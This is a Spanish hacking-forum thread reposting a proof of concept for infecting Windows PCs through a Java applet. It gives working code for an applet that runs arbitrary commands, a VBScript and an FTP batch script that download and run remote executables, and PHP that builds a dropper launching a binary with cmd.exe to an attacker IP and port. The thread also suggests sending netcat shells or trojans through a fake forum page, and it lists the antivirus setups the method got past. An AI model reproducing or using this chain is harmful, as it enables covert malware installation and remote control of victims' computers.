Bienvenido a Tecnohackers

Tecnohackers » Hacking y Seguridad » Hacking
 » 

Infección Mediante Applet en Java y VBScript



Autor Tema: Infección Mediante Applet en Java y VBScript  (Leído 1356 veces)

.RR.

  • Visitante
Infección Mediante Applet en Java y VBScript
« en: Enero 04, 2009, 05:08:38 pm »
[POC] Infección Mediante Java Applet y VBScript

Fuente milw0rm.com
Autor: AnalyseR

POC y post realizado por Wofo y Hacker_Zero para You are not allowed to view links. Register or Login

Bueno, muchos recordarán un post dónde se explicaba como hacer un fake de una web que nos pedía un componente flash y había un link hacia un *.exe.

Bueno pues mediante la ejecución de un Applet en Java y un script en VBScript o Batch, es posible descargar y ejecutar un programa remoto en un pc tan sólo con 1 click, para decir que se confía en el applet que se intenta ejecutar (el cual sale en todos los applets como pueden ser juegos y demás).

Empezamos con el Applet
Lo primero será compilar el siguiente código en Java:

Código

GeSHi (java):
import java.applet.*;
import java.awt.*; 
import java.io.*;
public class skata extends Applet
{
     public void init()
     {
          Process f;
          String first = getParameter("first");
 
           try
           {
                f = Runtime.getRuntime().exec(first);
           }
 
           catch(IOException e)
           {
                e.printStackTrace();
           }
      }
}
Created by GeSHI 1.0.7.5


Éste código ejecuta un en el pc remoto lo que se le pase como parámetro. El Applet puede ser utilizado de la suguiente manera desde un documento html:

Código

GeSHi (html4strict):
<applet width='1' height='1' code='Nombre-clase-applet.class' archive='Nombre-Applet.jar'>
 
<param name='first' value='cmd.exe /c msg * Hola Mundo!'>
 
</applet>
Created by GeSHI 1.0.7.5


Como véis nos dá la posibilidad de ejecutar comandos de consola en un pc remoto con S.O Windows. Pero iremos un paso más allá, y descargaremos un archivo al pc, como podemos hacer ésto? Pues podemos crear códigos usando Scripting, ya sea en Batch usando ftp o en VBScript.

Para crear el archivo VBS utilizamos Streams de salida en Batch:

Código:

cmd.exe /c echo Comando en VBS >>C:\Archivo.vbs


El siguiente código en VBScript descarga un Archivo binario  y lo ejecuta:

Código

GeSHi (vb):
Const adTypeBinary = 1 
Const adSaveCreateOverWrite = 2 
Dim BinaryStream 
Set BinaryStream = CreateObject("ADODB.Stream") 
BinaryStream.Type = adTypeBinary 
BinaryStream.Open 
BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) 
BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite 
Function BinaryGetURL(URL) 
Dim Http 
Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") 
Http.Open "GET", URL, False 
Http.Send 
BinaryGetURL = Http.ResponseBody 
End Function 
Set shell = CreateObject("WScript.Shell") 
shell.Run "cmd.exe /c C:\archivo.exe"
Created by GeSHI 1.0.7.5


Su funcionamiento es muy sencillo:

Código:

Codigo.vbs You are not allowed to view links. Register or Login C:\archivo.exe


Tambien se podría hacer sin necesidad de ningún archivo vbs ejecutando el ftp de la línea de comandos, aunque seguimos con el caso de vbs que es el ejemplo que puso el autor y es mas "general".

Aquí un ejemplo de como descargar el archivo usando ftp desde la shell:

Código:

@echo off
echo nombre > C:\datos.txt
echo contraseña >> C:\datos.txt
echo mget archivo.exe>>C:\datos.txt
echo bye  >> C:\datos.txt
ftp -s:C:\datos.txt ftp.nombreftpcom
exit
« Última modificación: Mayo 01, 2010, 09:20:05 pm por alma_triste »

.RR.

  • Visitante
Respuesta: Infección Mediante Applet en Java y VBScript
« Respuesta #1 en: Enero 04, 2009, 05:09:34 pm »
El archivo descargado (en nuestro ejemplo [al final del post]) lo único que nos da es una advertencia y la ip y el puerto que le pasamos por php.
Lo de la ip y el puerto funciona gracias a un sencillo código PHP:

Código

GeSHi (php):
if(isset($HTTP_GET_VARS["ip"])) {
   $ip = $HTTP_GET_VARS["ip"];
}
else $ip = 127.0.0.1;
 
if(isset($HTTP_GET_VARS["puerto"])) {
   $puerto = $HTTP_GET_VARS["puerto"];
}
else $port = 7173;
 
echo '

C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject(\"ADODB.Stream\") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject(\"WinHttp.WinHttpRequest.5.1\") >> C:\windows\apsou.vbs & echo Http.Open \"GET\", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C:\windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject(\"WScript.Shell\") >> C:\windows\apsou.vbs & echo shell.Run \"C:\windows\update.exe -d -e cmd.exe '.$ip.' '.$puerto.'\" >> C:\windows\apsou.vbs">
';
?>
Created by GeSHI 1.0.7.5


Con este código lo que hacemos es editar el código VBs para que ejecute el archivo descargado, pasando como parámetros la ip y el puerto introducidos en la URL.

Para que tengan una mejor idea de lo que digo les dejo el código en C++ del programa que se descarga en el ejemplo:

Código

GeSHi (cpp):
#include
 
 
 
using namespace std;
 
 
 
int main(int argc, char* argv[]) {
 
   cout << "Este ejecutable puede ser reemplazado un troyano, backdoor, virus, netcat, etc." << endl;
 
    cout << "Por lo tanto nunca hay que fiarse de applets sin firmas certificadas" << endl;
 
    cout << "La ip introducida mediante PHP es " << argv[1] << endl;
 
    cout << "El puerto introducido mediante PHP es " << argv[2] << endl;
 
}
Created by GeSHI 1.0.7.5


Las variables de la url en php se pasan al VBS. Al ejecutar el VBS éste ejecuta nuestro archivo.exe con los parámetros.

Pudiendo hacer esto, las posibilidades que ofrece este método son infinitas... Se puede mandar cualquier programa y ejecutarlo sin que el usuario sospeche nada, imagina que mandamos un netcat con los parámetros para que nos pase una shell, o que mandamos un troyano o lo que sea. Nuevamente digo, las posibilidades son infinitas.

Les dejamos una prueba de concepto en el siguiente link:

You are not allowed to view links. Register or Login

Como verán, es un fake muy convincente de un post del foro (fake hecho por HACKER_ZERO).
Lo que hace es, cuando ejecutan el applet, crea el codigo en .vbs y lo ejecuta, el cual se encarga de descargar el archivo.exe y ejecutarlo con los parámetros. Ambos archivos se descargan en C:\Windows como apsou.vbs y update.exe.

Testeado en:

- Firefox  3.05, Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

- IE Windows XP SP3 con Firewall de Windows, NOD32 y su Firewall activo.

- Firefox  3.05, Windows XP SP2 con Firewall de Windows, Avast y su Firewall activo.

Tags:
Tags:

 


SMF 2.0.19 | SMF © 2016, Simple Machines
Paginas Afiliadas
Twitter - FaceBook - Daraxblog
Designed by Smf Personal